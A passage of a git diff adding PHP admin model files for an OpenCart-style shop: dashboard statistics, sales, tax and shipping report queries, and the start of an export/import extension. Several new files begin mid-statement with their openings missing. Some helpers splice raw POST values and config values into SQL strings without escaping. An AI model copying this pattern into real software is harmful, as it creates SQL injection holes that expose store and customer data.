+ $customer_data[date('j', strtotime($result['date_added']))] = array(
+ 'day' => date('d', strtotime($result['date_added'])),
+ 'total' => $result['total']
+ );
+ }
+
+ return $customer_data;
+ }
+
+ public function getTotalCustomersByYear() {
+ $customer_data = array();
+
+ for ($i = 1; $i <= 12; $i++) {
+ $customer_data[$i] = array(
+ 'month' => date('M', mktime(0, 0, 0, $i)),
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, date_added FROM `" . DB_PREFIX . "customer` WHERE YEAR(date_added) = YEAR(NOW()) GROUP BY MONTH(date_added)");
+
+ foreach ($query->rows as $result) {
+ $customer_data[date('n', strtotime($result['date_added']))] = array(
+ 'month' => date('M', strtotime($result['date_added'])),
+ 'total' => $result['total']
+ );
+ }
+
+ return $customer_data;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/extension/dashboard/map.php b/public/admin/model/extension/dashboard/map.php
new file mode 100644
index 0000000..856a833
--- /dev/null
+++ b/public/admin/model/extension/dashboard/map.php
@@ -0,0 +1,20 @@
+config->get('config_complete_status'))) {
+ foreach ($this->config->get('config_complete_status') as $order_status_id) {
+ $implode[] = (int)$order_status_id;
+ }
+ }
+
+ if ($implode) {
+ $query = $this->db->query("SELECT COUNT(*) AS total, SUM(o.total) AS amount, c.iso_code_2 FROM `" . DB_PREFIX . "order` o LEFT JOIN `" . DB_PREFIX . "country` c ON (o.payment_country_id = c.country_id) WHERE o.order_status_id IN(" . implode(',', $implode) . ") GROUP BY o.payment_country_id");
+
+ return $query->rows;
+ } else {
+ return array();
+ }
+ }
+}
diff --git a/public/admin/model/extension/dashboard/online.php b/public/admin/model/extension/dashboard/online.php
new file mode 100644
index 0000000..6cf7415
--- /dev/null
+++ b/public/admin/model/extension/dashboard/online.php
@@ -0,0 +1,24 @@
+db->escape($data['filter_ip']) . "'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $implode[] = "co.customer_id > 0 AND CONCAT(c.firstname, ' ', c.lastname) LIKE '" . $this->db->escape($data['filter_customer']) . "'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/extension/dashboard/sale.php b/public/admin/model/extension/dashboard/sale.php
new file mode 100644
index 0000000..8732ba9
--- /dev/null
+++ b/public/admin/model/extension/dashboard/sale.php
@@ -0,0 +1,438 @@
+ '0'";
+
+ if (!empty($data['filter_date_added'])) {
+ $sql .= " AND DATE(date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getTotalOrdersByCountry() {
+ $query = $this->db->query("SELECT COUNT(*) AS total, SUM(o.total) AS amount, c.iso_code_2 FROM `" . DB_PREFIX . "order` o LEFT JOIN `" . DB_PREFIX . "country` c ON (o.payment_country_id = c.country_id) WHERE o.order_status_id > '0' GROUP BY o.payment_country_id");
+
+ return $query->rows;
+ }
+
+ public function getTotalOrdersByDay() {
+ $implode = array();
+
+ foreach ($this->config->get('config_complete_status') as $order_status_id) {
+ $implode[] = "'" . (int)$order_status_id . "'";
+ }
+
+ $order_data = array();
+
+ for ($i = 0; $i < 24; $i++) {
+ $order_data[$i] = array(
+ 'hour' => $i,
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, HOUR(date_added) AS hour FROM `" . DB_PREFIX . "order` WHERE order_status_id IN(" . implode(",", $implode) . ") AND DATE(date_added) = DATE(NOW()) GROUP BY HOUR(date_added) ORDER BY date_added ASC");
+
+ foreach ($query->rows as $result) {
+ $order_data[$result['hour']] = array(
+ 'hour' => $result['hour'],
+ 'total' => $result['total']
+ );
+ }
+
+ return $order_data;
+ }
+
+ public function getTotalOrdersByWeek() {
+ $implode = array();
+
+ foreach ($this->config->get('config_complete_status') as $order_status_id) {
+ $implode[] = "'" . (int)$order_status_id . "'";
+ }
+
+ $order_data = array();
+
+ $date_start = strtotime('-' . date('w') . ' days');
+
+ for ($i = 0; $i < 7; $i++) {
+ $date = date('Y-m-d', $date_start + ($i * 86400));
+
+ $order_data[date('w', strtotime($date))] = array(
+ 'day' => date('D', strtotime($date)),
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, date_added FROM `" . DB_PREFIX . "order` WHERE order_status_id IN(" . implode(",", $implode) . ") AND DATE(date_added) >= DATE('" . $this->db->escape(date('Y-m-d', $date_start)) . "') GROUP BY DAYNAME(date_added)");
+
+ foreach ($query->rows as $result) {
+ $order_data[date('w', strtotime($result['date_added']))] = array(
+ 'day' => date('D', strtotime($result['date_added'])),
+ 'total' => $result['total']
+ );
+ }
+
+ return $order_data;
+ }
+
+ public function getTotalOrdersByMonth() {
+ $implode = array();
+
+ foreach ($this->config->get('config_complete_status') as $order_status_id) {
+ $implode[] = "'" . (int)$order_status_id . "'";
+ }
+
+ $order_data = array();
+
+ for ($i = 1; $i <= date('t'); $i++) {
+ $date = date('Y') . '-' . date('m') . '-' . $i;
+
+ $order_data[date('j', strtotime($date))] = array(
+ 'day' => date('d', strtotime($date)),
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, date_added FROM `" . DB_PREFIX . "order` WHERE order_status_id IN(" . implode(",", $implode) . ") AND DATE(date_added) >= '" . $this->db->escape(date('Y') . '-' . date('m') . '-1') . "' GROUP BY DATE(date_added)");
+
+ foreach ($query->rows as $result) {
+ $order_data[date('j', strtotime($result['date_added']))] = array(
+ 'day' => date('d', strtotime($result['date_added'])),
+ 'total' => $result['total']
+ );
+ }
+
+ return $order_data;
+ }
+
+ public function getTotalOrdersByYear() {
+ $implode = array();
+
+ foreach ($this->config->get('config_complete_status') as $order_status_id) {
+ $implode[] = "'" . (int)$order_status_id . "'";
+ }
+
+ $order_data = array();
+
+ for ($i = 1; $i <= 12; $i++) {
+ $order_data[$i] = array(
+ 'month' => date('M', mktime(0, 0, 0, $i)),
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, date_added FROM `" . DB_PREFIX . "order` WHERE order_status_id IN(" . implode(",", $implode) . ") AND YEAR(date_added) = YEAR(NOW()) GROUP BY MONTH(date_added)");
+
+ foreach ($query->rows as $result) {
+ $order_data[date('n', strtotime($result['date_added']))] = array(
+ 'month' => date('M', strtotime($result['date_added'])),
+ 'total' => $result['total']
+ );
+ }
+
+ return $order_data;
+ }
+
+ public function getOrders($data = array()) {
+ $sql = "SELECT MIN(o.date_added) AS date_start, MAX(o.date_added) AS date_end, COUNT(*) AS `orders`, SUM((SELECT SUM(op.quantity) FROM `" . DB_PREFIX . "order_product` op WHERE op.order_id = o.order_id GROUP BY op.order_id)) AS products, SUM((SELECT SUM(ot.value) FROM `" . DB_PREFIX . "order_total` ot WHERE ot.order_id = o.order_id AND ot.code = 'tax' GROUP BY ot.order_id)) AS tax, SUM(o.total) AS `total` FROM `" . DB_PREFIX . "order` o";
+
+ if (!empty($data['filter_order_status_id'])) {
+ $sql .= " WHERE o.order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " WHERE o.order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(o.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(o.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if (!empty($data['filter_group'])) {
+ $group = $data['filter_group'];
+ } else {
+ $group = 'week';
+ }
+
+ switch($group) {
+ case 'day';
+ $sql .= " GROUP BY YEAR(o.date_added), MONTH(o.date_added), DAY(o.date_added)";
+ break;
+ default:
+ case 'week':
+ $sql .= " GROUP BY YEAR(o.date_added), WEEK(o.date_added)";
+ break;
+ case 'month':
+ $sql .= " GROUP BY YEAR(o.date_added), MONTH(o.date_added)";
+ break;
+ case 'year':
+ $sql .= " GROUP BY YEAR(o.date_added)";
+ break;
+ }
+
+ $sql .= " ORDER BY o.date_added DESC";
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalOrders($data = array()) {
+ if (!empty($data['filter_group'])) {
+ $group = $data['filter_group'];
+ } else {
+ $group = 'week';
+ }
+
+ switch($group) {
+ case 'day';
+ $sql = "SELECT COUNT(DISTINCT YEAR(date_added), MONTH(date_added), DAY(date_added)) AS total FROM `" . DB_PREFIX . "order`";
+ break;
+ default:
+ case 'week':
+ $sql = "SELECT COUNT(DISTINCT YEAR(date_added), WEEK(date_added)) AS total FROM `" . DB_PREFIX . "order`";
+ break;
+ case 'month':
+ $sql = "SELECT COUNT(DISTINCT YEAR(date_added), MONTH(date_added)) AS total FROM `" . DB_PREFIX . "order`";
+ break;
+ case 'year':
+ $sql = "SELECT COUNT(DISTINCT YEAR(date_added)) AS total FROM `" . DB_PREFIX . "order`";
+ break;
+ }
+
+ if (!empty($data['filter_order_status_id'])) {
+ $sql .= " WHERE order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " WHERE order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getTaxes($data = array()) {
+ $sql = "SELECT MIN(o.date_added) AS date_start, MAX(o.date_added) AS date_end, ot.title, SUM(ot.value) AS total, COUNT(o.order_id) AS `orders` FROM `" . DB_PREFIX . "order` o LEFT JOIN `" . DB_PREFIX . "order_total` ot ON (ot.order_id = o.order_id) WHERE ot.code = 'tax'";
+
+ if (!empty($data['filter_order_status_id'])) {
+ $sql .= " AND o.order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " AND o.order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(o.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(o.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if (!empty($data['filter_group'])) {
+ $group = $data['filter_group'];
+ } else {
+ $group = 'week';
+ }
+
+ switch($group) {
+ case 'day';
+ $sql .= " GROUP BY YEAR(o.date_added), MONTH(o.date_added), DAY(o.date_added), ot.title";
+ break;
+ default:
+ case 'week':
+ $sql .= " GROUP BY YEAR(o.date_added), WEEK(o.date_added), ot.title";
+ break;
+ case 'month':
+ $sql .= " GROUP BY YEAR(o.date_added), MONTH(o.date_added), ot.title";
+ break;
+ case 'year':
+ $sql .= " GROUP BY YEAR(o.date_added), ot.title";
+ break;
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalTaxes($data = array()) {
+ if (!empty($data['filter_group'])) {
+ $group = $data['filter_group'];
+ } else {
+ $group = 'week';
+ }
+
+ switch($group) {
+ case 'day';
+ $sql = "SELECT COUNT(DISTINCT YEAR(o.date_added), MONTH(o.date_added), DAY(o.date_added), ot.title) AS total FROM `" . DB_PREFIX . "order` o";
+ break;
+ default:
+ case 'week':
+ $sql = "SELECT COUNT(DISTINCT YEAR(o.date_added), WEEK(o.date_added), ot.title) AS total FROM `" . DB_PREFIX . "order` o";
+ break;
+ case 'month':
+ $sql = "SELECT COUNT(DISTINCT YEAR(o.date_added), MONTH(o.date_added), ot.title) AS total FROM `" . DB_PREFIX . "order` o";
+ break;
+ case 'year':
+ $sql = "SELECT COUNT(DISTINCT YEAR(o.date_added), ot.title) AS total FROM `" . DB_PREFIX . "order` o";
+ break;
+ }
+
+ $sql .= " LEFT JOIN `" . DB_PREFIX . "order_total` ot ON (o.order_id = ot.order_id) WHERE ot.code = 'tax'";
+
+ if (!empty($data['filter_order_status_id'])) {
+ $sql .= " AND o.order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " AND o.order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(o.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(o.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getShipping($data = array()) {
+ $sql = "SELECT MIN(o.date_added) AS date_start, MAX(o.date_added) AS date_end, ot.title, SUM(ot.value) AS total, COUNT(o.order_id) AS `orders` FROM `" . DB_PREFIX . "order` o LEFT JOIN `" . DB_PREFIX . "order_total` ot ON (o.order_id = ot.order_id) WHERE ot.code = 'shipping'";
+
+ if (!empty($data['filter_order_status_id'])) {
+ $sql .= " AND o.order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " AND o.order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(o.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(o.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if (!empty($data['filter_group'])) {
+ $group = $data['filter_group'];
+ } else {
+ $group = 'week';
+ }
+
+ switch($group) {
+ case 'day';
+ $sql .= " GROUP BY YEAR(o.date_added), MONTH(o.date_added), DAY(o.date_added), ot.title";
+ break;
+ default:
+ case 'week':
+ $sql .= " GROUP BY YEAR(o.date_added), WEEK(o.date_added), ot.title";
+ break;
+ case 'month':
+ $sql .= " GROUP BY YEAR(o.date_added), MONTH(o.date_added), ot.title";
+ break;
+ case 'year':
+ $sql .= " GROUP BY YEAR(o.date_added), ot.title";
+ break;
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalShipping($data = array()) {
+ if (!empty($data['filter_group'])) {
+ $group = $data['filter_group'];
+ } else {
+ $group = 'week';
+ }
+
+ switch($group) {
+ case 'day';
+ $sql = "SELECT COUNT(DISTINCT YEAR(o.date_added), MONTH(o.date_added), DAY(o.date_added), ot.title) AS total FROM `" . DB_PREFIX . "order` o";
+ break;
+ default:
+ case 'week':
+ $sql = "SELECT COUNT(DISTINCT YEAR(o.date_added), WEEK(o.date_added), ot.title) AS total FROM `" . DB_PREFIX . "order` o";
+ break;
+ case 'month':
+ $sql = "SELECT COUNT(DISTINCT YEAR(o.date_added), MONTH(o.date_added), ot.title) AS total FROM `" . DB_PREFIX . "order` o";
+ break;
+ case 'year':
+ $sql = "SELECT COUNT(DISTINCT YEAR(o.date_added), ot.title) AS total FROM `" . DB_PREFIX . "order` o";
+ break;
+ }
+
+ $sql .= " LEFT JOIN `" . DB_PREFIX . "order_total` ot ON (o.order_id = ot.order_id) WHERE ot.code = 'shipping'";
+
+ if (!empty($data['filter_order_status_id'])) {
+ $sql .= " AND order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " AND order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(o.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(o.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/extension/export_import.php b/public/admin/model/extension/export_import.php
new file mode 100644
index 0000000..72dbc9d
--- /dev/null
+++ b/public/admin/model/extension/export_import.php
@@ -0,0 +1,9547 @@
+get('config');
+ $url = $registry->get('url');
+ $request = $registry->get('request');
+ $session = $registry->get('session');
+ $log = $registry->get('log');
+
+ if ($config->get('config_error_log')) {
+ $log->write('PHP ' . $errors . ': ' . $errstr . ' in ' . $errfile . ' on line ' . $errline);
+ }
+
+ if (($errors=='Warning') || ($errors=='Unknown')) {
+ return true;
+ }
+
+ $dir = version_compare(VERSION,'3.0','>=') ? 'extension' : 'tool';
+ if (($errors != "Fatal Error") && isset($request->get['route']) && ($request->get['route']!="$dir/export_import/download")) {
+ if ($config->get('config_error_display')) {
+ echo '' . $errors . ' : ' . $errstr . ' in ' . $errfile . ' on line ' . $errline . ' ';
+ }
+ } else {
+ $session->data['export_import_error'] = array( 'errstr'=>$errstr, 'errno'=>$errno, 'errfile'=>$errfile, 'errline'=>$errline );
+ $token = version_compare(VERSION,'3.0','>=') ? $request->get['user_token'] : $request->get['token'];
+ $link = $url->link( "$dir/export_import", version_compare(VERSION,'3.0','>=') ? 'user_token='.$token : 'token='.$token, true );
+ header('Status: ' . 302);
+ header('Location: ' . str_replace(array('&', "\n", "\r"), array('&', '', ''), $link));
+ exit();
+ }
+
+ return true;
+}
+
+
+function fatal_error_shutdown_handler_for_export_import()
+{
+ $last_error = error_get_last();
+ if (($last_error) && ($last_error['type'] === E_ERROR)) {
+ // fatal error
+ error_handler_for_export_import(E_ERROR, $last_error['message'], $last_error['file'], $last_error['line']);
+ }
+}
+
+
+class ModelToolExportImport extends Model {
+
+ private $error = array();
+ protected $null_array = array();
+ protected $use_table_seo_url = false;
+ protected $posted_categories = '';
+ protected $posted_manufacturers = '';
+ protected $version = '4.13';
+
+
+ public function __construct( $registry ) {
+ parent::__construct( $registry );
+ $this->use_table_seo_url = version_compare(VERSION,'3.0','>=') ? true : false;
+ }
+
+
+ protected function clean( &$str, $allowBlanks=false ) {
+ $result = "";
+ $n = strlen( $str );
+ for ($m=0; $m<$n; $m++) {
+ $ch = substr( $str, $m, 1 );
+ if (($ch==" ") && (!$allowBlanks) || ($ch=="\n") || ($ch=="\r") || ($ch=="\t") || ($ch=="\0") || ($ch=="\x0B")) {
+ continue;
+ }
+ $result .= $ch;
+ }
+ return $result;
+ }
+
+
+ protected function multiquery( $sql ) {
+ foreach (explode(";\n", $sql) as $sql) {
+ $sql = trim($sql);
+ if ($sql) {
+ $this->db->query($sql);
+ }
+ }
+ }
+
+
+ protected function startsWith( $haystack, $needle ) {
+ if (strlen( $haystack ) < strlen( $needle )) {
+ return false;
+ }
+ return (substr( $haystack, 0, strlen($needle) ) == $needle);
+ }
+
+ protected function endsWith( $haystack, $needle ) {
+ if (strlen( $haystack ) < strlen( $needle )) {
+ return false;
+ }
+ return (substr( $haystack, strlen($haystack)-strlen($needle), strlen($needle) ) == $needle);
+ }
+
+
+ protected function getDefaultLanguageId() {
+ $code = $this->config->get('config_language');
+ $sql = "SELECT language_id FROM `".DB_PREFIX."language` WHERE code = '$code'";
+ $result = $this->db->query( $sql );
+ $language_id = 1;
+ if ($result->rows) {
+ foreach ($result->rows as $row) {
+ $language_id = $row['language_id'];
+ break;
+ }
+ }
+ return $language_id;
+ }
+
+
+ protected function getLanguages() {
+ $query = $this->db->query( "SELECT * FROM `".DB_PREFIX."language` WHERE `status`=1 ORDER BY `code`" );
+ return $query->rows;
+ }
+
+
+ protected function getDefaultWeightUnit() {
+ $weight_class_id = $this->config->get( 'config_weight_class_id' );
+ $language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT unit FROM `".DB_PREFIX."weight_class_description` WHERE language_id='".(int)$language_id."'";
+ $query = $this->db->query( $sql );
+ if ($query->num_rows > 0) {
+ return $query->row['unit'];
+ }
+ $sql = "SELECT language_id FROM `".DB_PREFIX."language` WHERE code = 'en'";
+ $query = $this->db->query( $sql );
+ if ($query->num_rows > 0) {
+ $language_id = $query->row['language_id'];
+ $sql = "SELECT unit FROM `".DB_PREFIX."weight_class_description` WHERE language_id='".(int)$language_id."'";
+ $query = $this->db->query( $sql );
+ if ($query->num_rows > 0) {
+ return $query->row['unit'];
+ }
+ }
+ return 'kg';
+ }
+
+
+ protected function getDefaultMeasurementUnit() {
+ $length_class_id = $this->config->get( 'config_length_class_id' );
+ $language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT unit FROM `".DB_PREFIX."length_class_description` WHERE language_id='".(int)$language_id."'";
+ $query = $this->db->query( $sql );
+ if ($query->num_rows > 0) {
+ return $query->row['unit'];
+ }
+ $sql = "SELECT language_id FROM `".DB_PREFIX."language` WHERE code = 'en'";
+ $query = $this->db->query( $sql );
+ if ($query->num_rows > 0) {
+ $language_id = $query->row['language_id'];
+ $sql = "SELECT unit FROM `".DB_PREFIX."length_class_description` WHERE language_id='".(int)$language_id."'";
+ $query = $this->db->query( $sql );
+ if ($query->num_rows > 0) {
+ return $query->row['unit'];
+ }
+ }
+ return 'cm';
+ }
+
+
+ protected function getManufacturers() {
+ // find all manufacturers already stored in the database
+ $manufacturer_ids = array();
+ $sql = "SELECT ms.manufacturer_id, ms.store_id, m.`name` FROM `".DB_PREFIX."manufacturer_to_store` ms ";
+ $sql .= "INNER JOIN `".DB_PREFIX."manufacturer` m ON m.manufacturer_id=ms.manufacturer_id";
+ $result = $this->db->query( $sql );
+ $manufacturers = array();
+ foreach ($result->rows as $row) {
+ $manufacturer_id = $row['manufacturer_id'];
+ $store_id = $row['store_id'];
+ $name = $row['name'];
+ if (!isset($manufacturers[$name])) {
+ $manufacturers[$name] = array();
+ }
+ if (!isset($manufacturers[$name]['manufacturer_id'])) {
+ $manufacturers[$name]['manufacturer_id'] = $manufacturer_id;
+ }
+ if (!isset($manufacturers[$name]['store_ids'])) {
+ $manufacturers[$name]['store_ids'] = array();
+ }
+ if (!in_array($store_id,$manufacturers[$name]['store_ids'])) {
+ $manufacturers[$name]['store_ids'][] = $store_id;
+ }
+ }
+ return $manufacturers;
+ }
+
+
+ protected function storeManufacturerIntoDatabase( &$manufacturers, $name, &$store_ids, &$available_store_ids ) {
+ foreach ($store_ids as $store_id) {
+ if (!in_array( $store_id, $available_store_ids )) {
+ continue;
+ }
+ if (!isset($manufacturers[$name]['manufacturer_id'])) {
+ $this->db->query("INSERT INTO ".DB_PREFIX."manufacturer SET name = '".$this->db->escape($name)."', image='', sort_order = '0'");
+ $manufacturer_id = $this->db->getLastId();
+ if (!isset($manufacturers[$name])) {
+ $manufacturers[$name] = array();
+ }
+ $manufacturers[$name]['manufacturer_id'] = $manufacturer_id;
+ }
+ if (!isset($manufacturers[$name]['store_ids'])) {
+ $manufacturers[$name]['store_ids'] = array();
+ }
+ if (!in_array($store_id,$manufacturers[$name]['store_ids'])) {
+ $manufacturer_id = $manufacturers[$name]['manufacturer_id'];
+ $sql = "INSERT INTO `".DB_PREFIX."manufacturer_to_store` SET manufacturer_id='".(int)$manufacturer_id."', store_id='".(int)$store_id."'";
+ $this->db->query( $sql );
+ $manufacturers[$name]['store_ids'][] = $store_id;
+ }
+ }
+ }
+
+
+ protected function getWeightClassIds() {
+ // find the default language id
+ $language_id = $this->getDefaultLanguageId();
+
+ // find all weight classes already stored in the database
+ $weight_class_ids = array();
+ $sql = "SELECT `weight_class_id`, `unit` FROM `".DB_PREFIX."weight_class_description` WHERE `language_id`=$language_id;";
+ $result = $this->db->query( $sql );
+ if ($result->rows) {
+ foreach ($result->rows as $row) {
+ $weight_class_id = $row['weight_class_id'];
+ $unit = $row['unit'];
+ if (!isset($weight_class_ids[$unit])) {
+ $weight_class_ids[$unit] = $weight_class_id;
+ }
+ }
+ }
+
+ return $weight_class_ids;
+ }
+
+
+ protected function getLengthClassIds() {
+ // find the default language id
+ $language_id = $this->getDefaultLanguageId();
+
+ // find all length classes already stored in the database
+ $length_class_ids = array();
+ $sql = "SELECT `length_class_id`, `unit` FROM `".DB_PREFIX."length_class_description` WHERE `language_id`=$language_id;";
+ $result = $this->db->query( $sql );
+ if ($result->rows) {
+ foreach ($result->rows as $row) {
+ $length_class_id = $row['length_class_id'];
+ $unit = $row['unit'];
+ if (!isset($length_class_ids[$unit])) {
+ $length_class_ids[$unit] = $length_class_id;
+ }
+ }
+ }
+
+ return $length_class_ids;
+ }
+
+
+ protected function getLayoutIds() {
+ $result = $this->db->query( "SELECT * FROM `".DB_PREFIX."layout`" );
+ $layout_ids = array();
+ foreach ($result->rows as $row) {
+ $layout_ids[$row['name']] = $row['layout_id'];
+ }
+ return $layout_ids;
+ }
+
+
+ protected function getAvailableStoreIds() {
+ $sql = "SELECT store_id FROM `".DB_PREFIX."store`;";
+ $result = $this->db->query( $sql );
+ $store_ids = array(0);
+ foreach ($result->rows as $row) {
+ if (!in_array((int)$row['store_id'],$store_ids)) {
+ $store_ids[] = (int)$row['store_id'];
+ }
+ }
+ return $store_ids;
+ }
+
+
+ protected function getAvailableProductIds(&$data) {
+ $available_product_ids = array();
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $j = 1;
+ $product_id = trim($this->getCell($data,$i,$j++));
+ if ($product_id=="") {
+ continue;
+ }
+ $available_product_ids[$product_id] = $product_id;
+ }
+ return $available_product_ids;
+ }
+
+
+ protected function getAvailableCategoryIds() {
+ $sql = "SELECT `category_id` FROM `".DB_PREFIX."category`;";
+ $result = $this->db->query( $sql );
+ $category_ids = array();
+ foreach ($result->rows as $row) {
+ $category_ids[$row['category_id']] = $row['category_id'];
+ }
+ return $category_ids;
+ }
+
+
+ protected function getCustomerGroupIds() {
+ $sql = "SHOW TABLES LIKE \"".DB_PREFIX."customer_group_description\"";
+ $query = $this->db->query( $sql );
+ if ($query->num_rows) {
+ $language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT `customer_group_id`, `name` FROM `".DB_PREFIX."customer_group_description` ";
+ $sql .= "WHERE language_id=$language_id ";
+ $sql .= "ORDER BY `customer_group_id` ASC";
+ $query = $this->db->query( $sql );
+ } else {
+ $sql = "SELECT `customer_group_id`, `name` FROM `".DB_PREFIX."customer_group` ";
+ $sql .= "ORDER BY `customer_group_id` ASC";
+ $query = $this->db->query( $sql );
+ }
+ $customer_group_ids = array();
+ foreach ($query->rows as $row) {
+ $customer_group_id = $row['customer_group_id'];
+ $name = $row['name'];
+ $customer_group_ids[$name] = $customer_group_id;
+ }
+ return $customer_group_ids;
+ }
+
+
+ protected function getPostedCategories() {
+ $posted_categories = '';
+ if (isset($this->request->post['categories'])) {
+ if (count($this->request->post['categories']) > 0) {
+ foreach ($this->request->post['categories'] as $category_id) {
+ $posted_categories .= ($posted_categories=='') ? '(' : ',';
+ $posted_categories .= $category_id;
+ }
+ $posted_categories .= ')';
+ }
+ }
+ return $posted_categories;
+ }
+
+
+ protected function getPostedManufacturers() {
+ $posted_manufacturers = '';
+ if (isset($this->request->post['manufacturers'])) {
+ if (count($this->request->post['manufacturers']) > 0) {
+ foreach ($this->request->post['manufacturers'] as $manufacturer_id) {
+ $posted_manufacturers .= ($posted_manufacturers=='') ? '(' : ',';
+ $posted_manufacturers .= $manufacturer_id;
+ }
+ $posted_manufacturers .= ')';
+ }
+ }
+ return $posted_manufacturers;
+ }
+
+
+ protected function getCategoryUrlAliasIds() {
+ $sql = "SELECT url_alias_id, SUBSTRING( query, CHAR_LENGTH('category_id=')+1 ) AS category_id ";
+ $sql .= "FROM `".DB_PREFIX."url_alias` ";
+ $sql .= "WHERE query LIKE 'category_id=%'";
+ $query = $this->db->query( $sql );
+ $url_alias_ids = array();
+ foreach ($query->rows as $row) {
+ $url_alias_id = $row['url_alias_id'];
+ $category_id = $row['category_id'];
+ $url_alias_ids[$category_id] = $url_alias_id;
+ }
+ return $url_alias_ids;
+ }
+
+
+ protected function storeCategoryIntoDatabase( &$category, &$languages, $exist_meta_title, &$layout_ids, &$available_store_ids, &$url_alias_ids ) {
+ // extract the category details
+ $category_id = $category['category_id'];
+ $image_name = $this->db->escape($category['image']);
+ $parent_id = $category['parent_id'];
+ $top = $category['top'];
+ $top = ((strtoupper($top)=="TRUE") || (strtoupper($top)=="YES") || (strtoupper($top)=="ENABLED")) ? 1 : 0;
+ $columns = $category['columns'];
+ $sort_order = $category['sort_order'];
+ $date_added = $category['date_added'];
+ $date_modified = $category['date_modified'];
+ $names = $category['names'];
+ $descriptions = $category['descriptions'];
+ if ($exist_meta_title) {
+ $meta_titles = $category['meta_titles'];
+ }
+ $meta_descriptions = $category['meta_descriptions'];
+ $meta_keywords = $category['meta_keywords'];
+ if (!$this->use_table_seo_url) {
+ $seo_keyword = $category['seo_keyword'];
+ }
+ $store_ids = $category['store_ids'];
+ $layout = $category['layout'];
+ $status = $category['status'];
+ $status = ((strtoupper($status)=="TRUE") || (strtoupper($status)=="YES") || (strtoupper($status)=="ENABLED")) ? 1 : 0;
+
+ // generate and execute SQL for inserting the category
